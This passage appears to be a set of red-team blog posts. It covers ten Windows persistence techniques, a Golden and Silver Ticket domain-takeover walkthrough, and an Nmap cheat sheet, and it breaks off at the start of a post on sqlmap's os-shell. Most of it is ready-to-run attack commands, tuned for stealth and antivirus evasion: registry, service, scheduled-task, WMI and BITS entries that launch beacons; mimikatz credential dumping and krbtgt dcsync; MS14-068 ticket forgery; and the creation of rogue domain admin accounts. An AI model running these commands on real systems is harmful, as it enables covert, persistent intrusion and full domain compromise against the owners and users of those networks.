The HKLM RunOnce key runs immediately after user logon, before other Run keys; the HKCU RunOnce key runs after the operating system has processed other Run keys and the Startup folder.

8. Run Key
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Run is the most commonly employed auto‑start key. The HKCU Run key executes after the HKLM Run key, but both are processed before the Startup folder.

Command to write a registry key:

reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe"

0x03 Services

Required Privileges: Administrator privileges without UAC reduction.

Creating a service requires non‑reduced administrator rights; therefore, privilege escalation is a prerequisite for this persistence method. However, it offers higher stealth compared to registry keys (e.g. loading a DLL via svchost service groups can conceal the malicious process). Both CMD and PowerShell can add services with commands. Example:

sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto" obj= "LocalSystem"

This straightforward approach launches a service via cmd. A minor pitfall exists: a shellcode loader that blocks the main thread may cause the service to appear unresponsive during startup and fail. Hence, invoking cmd is mandatory; the service cannot be created directly. Upon successful start, the process runs with SYSTEM privileges before user logon. The obvious drawback is that the malicious process remains a distinct entity, reducing stealth, as illustrated below:

Another category of services is launched through svchost. Numerous Windows services are loaded by injecting into this host process (a Microsoft‑sanctioned DLL injection mechanism). Consequently, if the DLL itself evades detection, antivirus software will ignore this behaviour; moreover, as the malicious process is not standalone, stealth is enhanced.

However, loading a service via svchost cannot be accomplished with a single command. It requires crafting a service DLL and adding extra registry entries. Because 64‑bit systems have dual registry views and two svchost instances, the commands differ slightly.

Commands for 32‑bit systems:

sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:32
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:32
sc start TimeSync

Commands for registering a 32‑bit service on 64‑bit systems:

sc create TimeSync binPath= "C:\Windows\Syswow64\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:32
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:32
sc start TimeSync

Commands for native 64‑bit services:

sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:64
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:64
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:64
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:64
sc start TimeSync

A significant caveat: the reg add command overwrites existing registry values. Most keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost are of type REG_MULTI_SZ (multi‑string). Therefore, one must never write to an existing key, as it holds services essential for system boot; overwriting would cause severe issues. (Hence, the commands above use "netsvr", a key that does not exist by default.)

0x04 Scheduled Tasks

Required Privileges: Administrator privileges without UAC reduction, or standard user.

Scheduled tasks constitute another excellent persistence vector. Unlike auto‑start registry keys and services, scheduled tasks offer greater diversity and flexibility in configuration, and their location is relatively concealed (manual inspection requires several additional clicks). For instance, during security service engagements, the notorious "DriverLife" cryptominer employed persistence by creating multiple PowerShell scripts within scheduled tasks, with its stager directly embedded as a base64‑encoded argument in the command line. The input field is quite narrow, and less experienced engineers might easily overlook the trailing content.

Windows provides the SCHTASKS command for managing scheduled tasks, with the following options:

SCHTASKS /parameter [arguments]

Description:
    Enables an administrator to create, delete, query, change, run, and end scheduled tasks on a local or remote system.

Parameter List:
    /Create         Creates a new scheduled task.
    /Delete         Deletes the scheduled task(s).
    /Query          Displays all scheduled tasks.
    /Change         Changes the properties of a scheduled task.
    /Run            Runs the scheduled task on demand.
    /End            Stops the currently running scheduled task.
    /ShowSid        Shows the security identifier corresponding to a scheduled task name.
    /?              Displays this help message.

For persistence, the Create parameter is most frequently used. Due to its numerous arguments, the full help text is reproduced below for reference:

SCHTASKS /Create [/S system [/U username [/P [password]]]]
    [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
    [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
    [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
    [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]

Description:
     Allows an administrator to create a scheduled task on a local or remote system.

Parameter List:
    /S   system        Specifies the remote system to connect to. If omitted, the local system is used.
    /U   username      Specifies the user context under which SchTasks.exe should execute.
    /P   [password]    Specifies the password for the given user context. Prompts for input if omitted.
    /RU  username      Specifies the "run as" user account (user context) under which the task runs. For the system account, valid values are "", "NT AUTHORITY\SYSTEM", or "SYSTEM". For v2 tasks, "NT AUTHORITY\LOCALSERVICE", "NT AUTHORITY\NETWORKSERVICE", and common SIDs are also available.
    /RP  [password]    Specifies the password for the "run as" user. To prompt for the password, the value must be "*" or none. The password is ignored for the system account. Must be used with /RU or /XML.
    /SC   schedule      Specifies the schedule frequency.
                       Valid schedule types: MINUTE, HOURLY, DAILY, WEEKLY, MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
    /MO   modifier      Refines the schedule type to allow finer control over recurrence. Valid values are listed in the "Modifiers" section below.
    /D    days          Specifies the day(s) of the week to run the task. Valid values: MON, TUE, WED, THU, FRI, SAT, SUN, and for MONTHLY schedules 1–31 (day of month). Wildcard "*" specifies all days.
    /M    months        Specifies month(s) of the year. Defaults to the first day of the month. Valid values: JAN, FEB, MAR, APR, MAY, JUN, JUL, AUG, SEP, OCT, NOV, DEC. Wildcard "*" specifies all months.
    /I    idletime      Specifies the amount of idle time to wait before running a scheduled ONIDLE task. Valid range: 1 to 999 minutes.
    /TN   taskname      Specifies a name that uniquely identifies this scheduled task.
    /TR   taskrun       Specifies the path and file name of the programme to run at the scheduled time. Example: C:\windows\system32\calc.exe
    /ST   starttime     Specifies the start time to run the task. Time format is HH:mm (24‑hour), e.g. 14:30 for 2:30 PM. Defaults to current time if not specified. Required for /SC ONCE.
    /RI   interval      Specifies the repetition interval in minutes. Not applicable for schedule types: MINUTE, HOURLY, ONSTART, ONLOGON, ONIDLE, ONEVENT. Valid range: 1–599940 minutes. If /ET or /DU is specified, the default is 10 minutes.
    /ET   endtime       Specifies the end time to run the task. Time format HH:mm, e.g. 14:50 for 2:50 PM. Not applicable for ONSTART, ONLOGON, ONIDLE, ONEVENT.
    /DU   duration      Specifies the duration to run the task. Time format HH:mm. Not applicable with /ET or schedule types ONSTART, ONLOGON, ONIDLE, ONEVENT. For /V1 tasks, if /RI is specified, duration defaults to 1 hour.
    /K                  Terminates the task at the end time or duration. Not applicable for ONSTART, ONLOGON, ONIDLE, ONEVENT. Must specify /ET or /DU.
    /SD   startdate     Specifies the first date on which the task runs. Format yyyy/mm/dd. Defaults to the current date. Not applicable for ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
    /ED   enddate       Specifies the last date the task runs. Format yyyy/mm/dd. Not applicable for ONCE, ONSTART, ONLOGON, ONIDLE.
    /EC   ChannelName   Specifies the event channel for OnEvent triggers.
    /IT                Allows the task to run interactively only if the /RU user is currently logged on. This task runs only when the user is logged on.
    /NP                No password is stored. The task runs non‑interactively as the given user. Only local resources are available.
    /Z                 Marks the task for deletion after its final run.
    /XML  xmlfile       Creates a task from the task XML specified in a file. Can be combined with /RU and /RP switches, or /RP alone when the task XML already contains the principal.
    /V1                Creates a task visible to pre‑Vista platforms. Not compatible with /XML.
    /F                 Forcefully creates the task and suppresses warnings if the specified task already exists.
    /RL   level        Sets the run level for the job. Valid values: LIMITED and HIGHEST. Default is LIMITED.
    /DELAY delaytime   Specifies the wait time to delay the task after the trigger fires. Time format mmmm:ss. This option is only valid for schedule types ONSTART, ONLOGON, ONEVENT.
    /?                 Displays this help message.

Modifiers: Valid values for the /MO switch per schedule type:
    MINUTE:  1 to 1439 minutes.
    HOURLY:  1 – 23 hours.
    DAILY:   1 to 365 days.
    WEEKLY:  1 to 52 weeks.
    ONCE:    No modifier.
    ONSTART: No modifier.
    ONLOGON: No modifier.
    ONIDLE:  No modifier.
    MONTHLY: 1 to 12, or FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY.
    ONEVENT: XPath event query string.

Examples:
    ==> Create a scheduled task "doc" on remote machine "ABC" that runs notepad.exe hourly under the "runasuser" account.
        SCHTASKS /Create /S ABC /U user /P password /RU runasuser /RP runaspassword /SC HOURLY /TN doc /TR notepad

    ==> Create a scheduled task "accountant" on remote machine "ABC" that runs calc.exe every five minutes between a start and end time on specified dates.
        SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE /MO 5 /TN accountant /TR calc.exe /ST 12:00 /ET 14:00 /SD 06/06/2006 /ED 06/06/2006 /RU runasuser /RP userpassword

    ==> Create a scheduled task "gametime" that runs FreeCell on the first Sunday of every month.
        SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime /TR c:\windows\system32\freecell

    ==> Create a scheduled task "report" on remote machine "ABC" that runs notepad.exe every week.
        SCHTASKS /Create /S ABC /U user /P password /RU runasuser /RP runaspassword /SC WEEKLY /TN report /TR notepad.exe

    ==> Create a scheduled task "logtracker" on remote machine "ABC" that runs notepad.exe every five minutes from a specified start time with no end time; password prompt for /RP.
        SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE /MO 5 /TN logtracker /TR c:\windows\system32\notepad.exe /ST 18:30 /RU runasuser /RP

    ==> Create a scheduled task "gaming" that runs freecell.exe daily from 12:00 to 14:00 and ends automatically.
        SCHTASKS /Create /SC DAILY /TN gaming /TR c:\freecell /ST 12:00 /ET 14:00 /K

    ==> Create a scheduled task "EventLog" to start wevtvwr.msc whenever event 101 is published in the "System" channel.
        SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT /EC System /MO *[System/EventID=101]

    ==> File paths may contain spaces; use two sets of quotes—one for CMD.EXE and one for SchTasks.exe. The outer quotes for CMD must be double quotes; inner quotes can be single or escaped double quotes:
        SCHTASKS /Create /tr "'c:\program files\internet explorer\iexplorer.exe' \"c:\log data\today.xml\"" ...

The "Task Scheduler Library" contains folders. In a pristine Windows installation, there are no scheduled tasks in the root directory, as shown:

Naturally, subdirectories are also empty:

All built‑in tasks reside deep within nested folders. To maintain stealth, it is advisable to adhere to the default Windows convention by creating our own subdirectory and task under \Microsoft\Windows\. Example command:

SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe

A beacon is received without requiring user logon:

In the process tree, the malicious process is spawned by taskeng.exe, the Task Scheduler engine. Its stealth is inferior to DLL services but superior to auto‑start registry keys.

However, another significant issue emerges: the SCHTASKS command has incomplete functionality. Many configuration options cannot be manipulated, such as adding multiple triggers simultaneously or modifying settings in the "Conditions" and "Settings" tabs, as shown below:

These options remain at their creation defaults, meaning our scheduled task will not start upon wake from sleep, will stop when AC power is disconnected, and will automatically cease after three days. Yet these advanced settings cannot be configured via command line. A search of the Microsoft community yielded the following official response:

It is both amusing and frustrating. For normal users, this is unproblematic, but for red teams, manipulating the GUI is inconvenient. While one could craft a DLL module or executable that directly calls the Win32 API to modify these settings, that requires uploading an additional file, reducing efficiency. Therefore, scheduled task persistence can serve only as a fallback measure, not a fully reliable method.

A somewhat similar vector is Group Policy. Startup scripts can execute cmd or PowerShell scripts to run arbitrary commands, but because the command‑line version of the Group Policy Editor is far too limited, it will not be expanded upon here. (If desktop access is available, configuring a startup script directly via gpedit.msc achieves persistence with relatively high stealth.)

0x05 WMI

Required Privileges: Administrator privileges without UAC reduction.

WMI can be regarded as a set of APIs that interact directly with the Windows operating system. Being a native tool that requires no installation, it is also a valuable aid for persistence.

Because WMI events execute in a loop, to avoid spawning countless shells, one can restrict execution using the system uptime (as long as the trigger delay falls within the specified window; some machines boot slowly, so the start time should be set higher). Example commands:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer", ExecutablePath="C:\Users\hunter\Desktop\beacon.exe",CommandLineTemplate="C:\Users\hunter\Desktop\beacon.exe"

wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"evil\"", Consumer="CommandLineEventConsumer.Name=\"evilConsumer\""

Due to possible variations in the exact timing window, multiple beacons may appear in certain circumstances:

Inspecting the process tree reveals moderate stealth:

0x06 Screen Saver

Required Privileges: Standard user.

Although not all users employ a screen saver, the relevant configuration is conveniently stored in the registry, as shown in the four keys below:

Full paths:

HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE

Write directly to the registry:

reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f

Examining the process tree shows it is spawned by winlogon.exe – stealth is moderate:

A minor pitfall: if a screen saver has never been configured, all keys except ScreenSaveActive (which defaults to 1) do not exist. Proper screen saver operation requires all keys to hold data; therefore, all four must be rewritten. Additionally, testing shows the shortest trigger time is 60 seconds – even if a smaller value is set, the programme still executes after 60 seconds.

Naturally, as indicated by the registry path, this method yields a shell with only current‑user privileges. Its advantage is that it does not require elevation.

0x07 Background Intelligent Transfer Service (BITS)

Required Privileges: Administrator rights (UAC bypass allowed).

The Background Intelligent Transfer Service (BITS) facilitates the transfer of large amounts of data without degrading network performance. It accomplishes this by transferring data in small blocks, utilising available idle bandwidth, and reassembling the data at the destination. BITS is supported on Microsoft® Windows Server 2003 family operating systems and Microsoft® Windows 2000. (Source: Baidu Baike)

Many online "penetration testing tutorials" include using the bitsadmin command to download files or execute commands, but it can also be employed for persistence and can evade detection by Autoruns and anti‑virus protection against auto‑start command execution.

Adding a task is straightforward, requiring only four commands:

bitsadmin /create evil
bitsadmin /addfile evil "C:\Users\hunter\Desktop\beacon.exe" "C:\Users\hunter\Desktop\beacon.exe"
bitsadmin.exe /SetNotifyCmdLine evil "C:\Users\hunter\Desktop\beacon.exe" NUL
bitsadmin /Resume evil

One advantage is that it can be executed within a reduced administrator session (bypassing UAC), and naturally the resulting beacon also operates with reduced privileges:

After a reboot, since the task has not been completed, the system will re‑launch it, thus achieving persistence. Although BITS tasks have a default lifetime of 90 days—after which they are automatically cancelled—this is sufficient for red team operations:

Inspecting the process tree, it is launched by svchost.exe -k netsvcs. However, because it remains an independent process, stealth is moderate:

This method bypasses all current startup inspection tools; the only means of detection is through the bitsadmin command:

bitsadmin /list /allusers /verbose

All tasks are displayed as shown (screenshot from a different test machine, hence data differs):

0x07 Print Spooler Service

Required Privileges: Administrator privileges without UAC reduction.

The Print Spooler service manages print jobs in the Windows operating system. Because many users still rely on printers, optimisation software does not recommend disabling this service. The Print Spooler API includes a function, AddMonitor, which installs a local port monitor and links configuration, data, and monitor files. This function injects a DLL into the spoolsv.exe process to implement the desired functionality. The DLLs required by the system in its default state are as follows:

These DLLs contain print‑driver‑related content. We can exploit this mechanism to plant a malicious DLL. Of course, as with service registration, this requires full administrator privileges.

First, place the malicious DLL in C:\Windows\System32\:

Then execute the command to add the relevant registry entry and the Driver key:

reg add "hklm\system\currentcontrolset\control\print\monitors\monitor" /v "Driver" /d "monitor.dll" /t REG_SZ

After reboot, the malicious DLL is automatically loaded into spoolsv.exe, offering high stealth:

The C2 session is established with SYSTEM privileges (MSF is used here for demonstration; a CS DLL would need to be rewritten):

0x08 Netsh

Required Privileges: Administrator privileges without UAC reduction.

Netsh is a native Windows command‑line tool for network configuration. It can import helper DLLs to extend functionality, and once imported, the DLL path is stored in the registry for permanent effect:

Thus, persistence can be achieved by importing a helper DLL. The command format is:

netsh add helper [Absolute evil DLL path]

However, because netsh does not start automatically, an auto‑start entry must be added as well:

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"

After reboot, the shell is still obtained:

The process tree and loaded malicious module are shown below; stealth is relatively high:

Because the testing still relied on an MSF‑generated DLL, launching netsh pops up a console window and blocks; terminating the netsh process drops the connection. Therefore, for practical red‑team use, a custom DLL must be developed.

0x09 AppCertDlls

Required Privileges: Administrator privileges without UAC reduction.

It is well known that the AppInit_DLLs registry value is read when user32.dll is loaded into memory; if a value exists, LoadLibrary() is called to load the user‑mode DLL. In earlier years, this method was quite popular for DLL‑injection persistence, but it has become ineffective on many modern systems. The reason is a flag check in kernel32.dll during startup, as illustrated:

kernel32.dll queries class 0x67 via NtQuerySystemInformation and then checks whether the ReturnLength is equal to 2 (bitwise AND operation). If equal, it skips loading the DLL and returns.

Information regarding 0x67 can be found online:

This flag is toggled by bcdedit.exe /set testsigning on/off. However, most recent machines have Secure Boot enabled in the BIOS by default; unless this option is disabled, the flag cannot be modified. Consequently, this method currently faces considerable limitations.

Nevertheless, there exists another, less commonly used registry key that also permits automatic DLL loading: AppCertDlls. When a process invokes APIs such as CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec, the DLLs listed in this key are automatically loaded. Fortunately, many programmes call these APIs.

A test programme calling one of these APIs:

Execution:

MSF session established:

Inspecting the process tree:

It merely spawns a rundll32.exe under a legitimate process, loading the malicious DLL. Stealth is high.

However, the MSF DLL remains usable only for testing. Because many system programmes call these APIs (e.g. explorer.exe), and the MSF DLL blocks the process, it can prevent the desktop from loading at startup. Therefore, a custom DLL must be developed for operational use.

0x0A MSDTC

Required Privileges: Administrator privileges without UAC reduction.

msdtc.exe is the Microsoft Distributed Transaction Coordinator. This process is invoked by Microsoft Personal Web Server and Microsoft SQL Server, and it manages multiple servers.

Upon startup, the service attempts to load three DLL files from System32: oci.dll, SQLLib80.dll, and xa80.dll. The service entry is shown below:

The corresponding registry entries:

In a default Windows installation, the file oci.dll is missing from the System32 folder. Provided write access exists, a malicious DLL with that name can be placed there, and malicious code will execute when the service starts.

By default, the startup type is set to "Manual". Configure automatic startup with:

sc qc msdtc
sc config msdtc start= auto

The malicious DLL will be loaded into the msdtc.exe process, yielding high stealth:

0x0B Conclusion

Initially, approximately twenty persistence techniques were catalogued, but in practice many are not universally applicable—some are limited to specific scenarios, particular configurations, or certain applications. Others are "passive" persistence methods, such as shortcut replacement; aside from exploiting a shortcut vulnerability, they will not trigger unless the target clicks them. Therefore, those with significant limitations were removed to streamline the article (and reduce workload), resulting in the ten techniques presented above, which are relatively generic.

During the collation process, a frustration at the Ring3 level became evident: user‑mode persistence that aims for high stealth and evasion of behavioural detection by anti‑virus must rely on native Windows functionality (living off the land). If these features or modules are disabled, uninstalled, or fail to start normally in special environments, the approach becomes problematic. Thus, preparing multiple methods is always beneficial.

Due to time constraints, some DLLs required for demonstration were directly generated by MSF, but their evasion capabilities are unsatisfactory. When developing the CS plugin later, these DLLs must be completed and subjected to further anti‑virus treatment.

Ticket Passing Attacks

Excalibra — Wed, 10 Jun 2026 03:06:18 +0000

This section introduces two common attack methods within a domain: the Golden Ticket and the Silver Ticket.

Furthermore, readers familiar with the Kerberos authentication process will find the principles of these two attacks considerably easier to comprehend. For those who have not previously studied Kerberos authentication, it is recommended to familiarize on the Kerberos Authentication Process.

Related Tools

Golden Ticket

Principle

During Kerberos authentication, after the Client authenticates with the Authentication Service (AS), the AS issues a Logon Session Key and a Ticket‑Granting Ticket (TGT) to the Client. The Logon Session Key is not retained within the Key Distribution Centre (KDC), whereas the NTLM hash of the krbtgt account is fixed. Consequently, if an attacker obtains the NTLM hash of krbtgt, it becomes possible to forge both a TGT and the corresponding Logon Session Key, thereby enabling the Client to proceed to the interaction with the Ticket‑Granting Service (TGS). Possession of a Golden Ticket permits the bypass of AS validation entirely; neither account name nor password is verified, and the attacker remains unaffected even if the domain administrator password is subsequently changed.

Characteristics

Does not require any interaction with the AS.
Requires the NTLM hash of the krbtgt user.

Detailed Procedure

1. Forging Credentials to Escalate Privileges of a Domain User

Assume that an attacker has logged on to a host within the domain as a local Administrator.

The command net config workstation reveals, among other details, that the domain is named cyberpeace.

The command nltest /dsgetdc:domain identifies the Domain Controller hostname as scene.

Mimikatz is uploaded and executed with administrator privileges:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

Examination of the generated log.txt reveals a domain user account, devuser, with the password HOTdev123456.

Logging in as devuser and running whoami confirms the current user context.

The presence of the MS14‑068 vulnerability (CVE‑2014‑6324, addressed by patch 3011780) is checked with the command systeminfo | find "3011780". An empty result indicates the patch is absent and the system is vulnerable. It should be noted that privilege escalation using this vulnerability is time‑limited.

An attempt to access the administrative share on the domain controller with dir \\scene.cyberpeace.com\c$ fails owing to insufficient permissions.

The MS14‑068 exploit tool and mimikatz are uploaded. The user’s SID is obtained using either whoami /user or whoami /all.

The MS14‑068 tool is used to forge a ticket:

C:\MS14-068>MS14-068.exe -u devuser@cyberpeace.com -p HOTdev123456 -s S-1-5-21-97341123-1865264218-933115267-1108 -d scene.cyberpeace.com

A TGT ticket file is generated in the current directory. The general usage is:

ms14-068.exe -u <domain_user>@<domain> -p <password> -s <user_SID> -d <domain_controller>

Within mimikatz, the existing Kerberos ticket cache is purged and the forged ticket is imported:

mimikatz # kerberos::purge
mimikatz # kerberos::ptc <path_to_ticket_file>

The command dir \\scene.cyberpeace.com\c$ now executes successfully, demonstrating that domain administrator privileges have been obtained.

A new domain administrator account, aaa, is created:

net user aaa Qwe123... /add /domain
net group "Domain Admins" aaa /add /domain

2. Forging a Golden Ticket

Prerequisites for forging a Golden Ticket

Domain name
Domain SID value
NTLM hash of the krbtgt account
Arbitrary username to be forged

Logging in as the domain administrator aaa and executing whoami confirms the identity.

The NTLM hash of krbtgt is extracted using the following mimikatz commands:

mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /all /csv
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /user:krbtgt

The SID of the krbtgt account is displayed in the output.

Mimikatz is then employed to generate the Golden Ticket and save it as a .kirbi file:

mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:ticket.kirbi" exit

/admin : forged username
/domain : domain name
/sid : domain SID (note: the last component after the final hyphen is omitted)
/krbtgt : NTLM hash of krbtgt
/ticket : name of the generated ticket file

3. Using the Golden Ticket (Creating a Domain Admin Account from a Standard Domain Account)

The attacker logs into the domain with an ordinary user account. Using mimikatz, the previously generated ticket.kirbi is loaded into memory:

mimikatz # kerberos::purge
mimikatz # kerberos::ptt ticket.kirbi

At this point, an attempt to create a domain administrator account named ccc succeeds.

Silver Ticket

Principle

If the Golden Ticket represents a forged TGT, then the Silver Ticket corresponds to a forged Service Ticket (ST). During the third stage of Kerberos authentication, the Client presents the ST together with Authenticator3 to a service hosted on a particular server. The server decrypts the ST using its own Master Key (derived from the service account’s hash) to obtain the Session Key. It then decrypts Authenticator3 with that Session Key to verify the Client’s identity. If verification succeeds, the Client is granted access to the designated service.

Thus, if an attacker knows the NTLM hash of the service account associated with the target server, a valid ST can be forged without any communication with the KDC. However, such a forged ticket is functional only for the specific service for which it was crafted.

Characteristics

Does not require interaction with the KDC.
Requires the NTLM hash of the target service account.

Detailed Procedure

1. Forging Credentials to Escalate Privileges of a Domain User

Again, the attack begins from a local Administrator account on a domain‑joined host.

The command net config workstation reveals the domain name as cyberpeace.

The domain controller hostname scene is obtained with nltest /dsgetdc:domain.

Mimikatz is executed with administrator rights:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

The log file shows a domain user account, Hellen, with the password Hellen1818.

After logging in as Hellen, whoami confirms the user context.

The presence of the MS14‑068 vulnerability is verified.

Access to the administrative share is initially denied.

The exploit tool and mimikatz are uploaded, and the user’s SID is retrieved.

A ticket is forged with MS14‑068:

MS14-068.exe -u Hellen@cyberpeace.com -p Hellen1818 -s S-1-5-21-2718660907-658632824-2072795563-1110 -d DomainControl.cyberpeace.com

The generic syntax is:

ms14-068.exe -u <domain_user>@<domain> -p <password> -s <user_SID> -d <domain_controller>

Inside mimikatz, the old tickets are purged and the forged ticket is imported:

mimikatz # kerberos::purge
mimikatz # kerberos::ptc <path_to_ticket_file>

The command dir \\scene.cyberpeace.com\c$ now succeeds, indicating domain administrator privileges.

A domain administrator account ccc is created:

net user ccc Qwe1234 /add /domain
net group "Domain Admins" cccc /add /domain

2. Forging a Silver Ticket

Logging in as the newly created domain administrator, mimikatz is run with administrator privileges to extract the necessary SID and NTLM hash:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

The hash and mimikatz are then copied to a local account on a domain‑joined machine. After purging the existing ticket cache, the silver ticket is forged and passed directly into the session using the following command:

kerberos::golden /domain:cyberpeace.com /sid:S-1-5-21-2718660907-658632824-2072795563 /target:scene.cyberpeace.com /service:cifs /rc4:9a68826fdc2811f20d1f73a471ad7b9a /user:test /ptt

The general usage pattern is:

kerberos::golden /domain:<domain> /sid:<domain_SID> /target:<target_server> /service:<service_type> /rc4:<NTLM_hash> /user:<username> /ptt

The <username> may be chosen arbitrarily.

Since no TGT is available to repeatedly request tickets, the attacker must target a specific service. The service type can be selected from the list below.

The command dir \\scene.cyberpeace.com\c$ executes successfully, and a domain administrator account can be created.

Differences between Golden and Silver Tickets

Scope of Access

Golden Ticket: Forges a TGT, thereby granting access to any Kerberos‑protected service.
Silver Ticket: Forges an ST, granting access only to the specific service for which it was crafted (e.g., CIFS).

Authentication Flow

Golden Ticket: Interacts with the KDC but does not interact with the AS.
Silver Ticket: Does not interact with the KDC at all; it communicates directly with the target server.

Encryption Mechanism

Golden Ticket: Encrypted with the NTLM hash of krbtgt.
Silver Ticket: Encrypted with the NTLM hash of the service account associated with the target server.

Common Nmap Parameters

Excalibra — Tue, 09 Jun 2026 23:21:22 +0000

The following table lists frequently used Nmap parameters along with their descriptions in an academic context.

Parameter	Description
`-sT`	TCP connect() scan. This method records a large number of connection requests and error messages in the target host’s logs.
`-sS`	Half-open scan. Few systems log this activity; however, root privileges are required.
`-sF`, `-sN`	Stealth FIN packet scan, Xmas Tree scan, and Null scan modes.
`-sP`	Ping scan. Nmap employs a ping scan by default when scanning ports; only if the host is alive will Nmap continue scanning.
`-sU`	UDP scan. UDP scans are inherently unreliable.
`-sA`	This advanced scanning method is typically used to traverse firewall rule sets.
`-sV`	Probe port service versions.
`-Pn`	Ping is not required prior to scanning. Some firewalls block ping commands; this option can be used to bypass that restriction.
`-v`	Display the scanning process. Recommended for verbose output.
`-h`	Help option. Provides the clearest and most comprehensive help documentation.
`-p`	Specify ports, for example: `1-65535`, `1433`, `135`, `22`, `80`, etc.
`-O`	Enable remote operating system detection. False positives may occur.
`-A`	Comprehensive system detection, enabling script detection and advanced scanning.
`-oN` / `-oX` / `-oG`	Write the report to a file in three respective formats: normal, XML, and grepable.
`-T4`	For TCP ports, disable dynamic scan delays exceeding 10 ms.
`-iL`	Read a list of hosts from a file, for example: `-iL C:\ip.txt`.

Practical Examples

Scan open ports on a specified IP address:

nmap -sS -p 1-65535 -v XXX.XXX.XXX.XXX
Scan live hosts in a /24 subnet:

nmap -sP XXX.XXX.XXX.XXX/24
Scan specific ports:

nmap -p 80,1433,22,1521 XXX.XXX.XXX.XXX
Detect the host operating system:

nmap -O XXX.XXX.XXX.XXX
Comprehensive system detection:

nmap -v -A XXX.XXX.XXX.XXX

Note: By default, Nmap scans 1,000 high-risk ports.
Scan a specified IP range:

nmap XXX.XXX.XXX.XXX-XXX
Penetrate a firewall for scanning (when ping is blocked):

nmap -Pn -A XXX.XXX.XXX.XXX
Use a script to scan web‑sensitive directories:

nmap -p 80 --script=http-enum.nse XXX.XXX.XXX.XXX

The Principle of sqlmap’s `--os-shell

